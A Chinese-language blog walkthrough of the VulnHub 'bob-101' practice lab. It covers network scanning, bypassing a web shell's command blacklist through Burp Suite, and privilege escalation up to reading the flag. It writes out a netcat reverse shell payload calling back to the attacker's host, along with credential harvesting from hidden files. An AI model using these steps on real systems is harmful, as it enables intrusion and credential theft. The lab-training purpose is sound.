渗透入门之BOB靶机渗透实战

发布于:2022-12-30 ⋅ 阅读:(513) ⋅ 点赞:(0)

靶机下载地址:https://www.vulnhub.com/
靶机名称:bob-101,下载ova格式文件,直接在虚拟机打开,网络适配器中设置为NAT模式网卡即可。

bob-101靶机渗透

难度低,趣味性高
开始之前记得拍快照,良好习惯的养成。
在这里插入图片描述

  1. 本地信息收集
    打开kali(集成了大量渗透工具)。
    使用nmap扫描神器探测本网段存活主机IP,从而确定靶机IP地址。
    在这里插入图片描述
    查看kali本机IP
    全面探测端口并将结果导出至nmap.A,全面扫描是因为有些服务会被改端口号,而我们会用到这些端口号,可以看到ssh端口被改。
    在这里插入图片描述
    收集到靶机开启了http和ssh服务及其对应的端口号和版本。
    在这里插入图片描述
  2. 网站信息收集:访问网站首页http://192.168.1.108及其子页面,真机上无法访问时重启虚拟网卡即可。
    在这里插入图片描述
    经验:多点点多看看,挖掘有用信息,通过浏览网站页面,我们推测Bob J可能是管理员。
    在这里插入图片描述
    在这里插入图片描述
    使用nikto工具扫描网站后台信息,其中Robots.txt代表反爬虫机制。
    在这里插入图片描述
  3. BP爬虫:浏览网页文件,在dev.shell.php中发现有些命令无法使用,因此推测网站存在过滤机制,可能存在白名单。这时候需要用到抓包神器BP:burpsuite,通过抓包搜集有用信息。
    在这里插入图片描述
    首先需要将本地端口号修改为其他服务不用的端口号,然后把网站流量引流到127.0.0.1的8888端口,需要安装插件foxyproxy,同时新增一项BP并开启foxyproxy。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在dev.shell.php页面输入ls(之前不让访问的命令),然后在BP中抓包,将抓到的包send to Repeater模块(重放模块),然后点击intercept is on,即关闭拦截抓包,这样dev.shell.php页面就能接收到先前输入的ls,对方网页也就不会发现异常了。之后点击repeater模块的send按钮,得到response。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    尝试绕过网站安全机制,猜测网站使用了命令拦截,可以在response中看到黑名单(会拦截的命令)。ls在根下的bin目录中,因此尝试将in_command即输入的命令更改为/bin/ls(通过篡改命令潜入对方网站),此时可以看到web根目录下所有的网页内容,基于此,我们搜集有用内容(php页面包含信息更多,.bak后缀通常为备份文件)。
    在这里插入图片描述
    下载bak文件并查看vim dev_shell.php.bak
    在这里插入图片描述
    在这里插入图片描述
  4. 代码审计:根据代码审计发现黑名单,发现nc被过滤了,可以尝试绕过黑名单:
    在这里插入图片描述
  5. 反弹shell:之前网站页面内容中有透露网页存在shell且做了加固。因此我们需要提升权限,使用工具nc反弹shell,在抓包工具BP页面将输入更改为/bin/nc -e /bin/bash 192.168.244.132 8888,该IP为Kali的IP,因为我们需要让网页向Kali发送response,send一下,在命令行中查收结果,此时反弹shell成功,可以查看ls等黑名单中的命令。使用命令id可以看到我们拿到了用户www-data的shell。
    在这里插入图片描述
    在这里插入图片描述
  6. 进入交互式shell:使用Python的模块调用bash,前提是目标靶机有Python
    在这里插入图片描述
    浏览根目录文件找到flag.txt,flag.txt只有管理员有读写权限,so我们需要拿到管理员权限。在etc目录下发现了文件passwd,查看该文件,文件中包含用户名信息,其中就有Bob用户,通过网站页面信息了解到Bob可能是管理员。因此紧接着浏览bob的家目录,发现隐藏敏感文件.old_passwordfile.html,查看该文件发现了jc和seb的账号密码。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  7. 解密gpg文件
    登上jc账号,浏览其家目录,没找到有用信息,保持旺盛的好奇心,浏览对方所有文件,搜集有用信息,最终我们在Bob家目录的documents中找到了文件login.txt.gpg(gpg是linux的加密格式),需要将该文件解密后查看。
    解密gpg文件:查看Bob家目录的documents中的Secret文件夹,发现了文件notes.sh(sh后缀为linux下的shell脚本文件)查看该内容后开始猜测其含义,最终确定这是藏头诗,找到了密钥(HARPOCRATES),破解文件login.txt.gpg,并查看该文件内容。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  8. 提权并成功查看文件flag.txt:提权并解密文件login.txt,解密得知Bob账号密码,登录Bob账号,查看文件flag.txt
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

涉及到的命令

nmap -sP 192.168.1.0/24	 //探测本网段存活主机IP,使用ping 的方式扫描本段存活主机IP
ip addr					 //查看kali本机IP
nmap -A 192.168.1.108 -p- -oN nmap.A //全面探测靶机所有端口并将结果导出至nmap.A
cat nmap.A  			 //查看文件内容
nikto -h http://192.168.1.108/       //使用nikto工具扫描网站后台信息
nc -lvvp 7777  			//随机选个端口号,l指的是监听listen,v指显示详细信息,vv进一步显示详细信息very,p指本地端口port 7777. 命令含义为打开一个本地端口7777并监听该端口详细信息
cd /  					//跳转到根目录
ls -l					//查看文档权限
./ notes.sh  			//运行脚本文件
python -c  "import pty;pty.spawn('/bin/bash')"  //使用Python的模块调用bash,前提是目标靶机有Python
su jc
sudo
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg //解密gpg文件

参考内容:千锋渗透学习视频


网站公告

今日签到

点亮在社区的每一天
去签到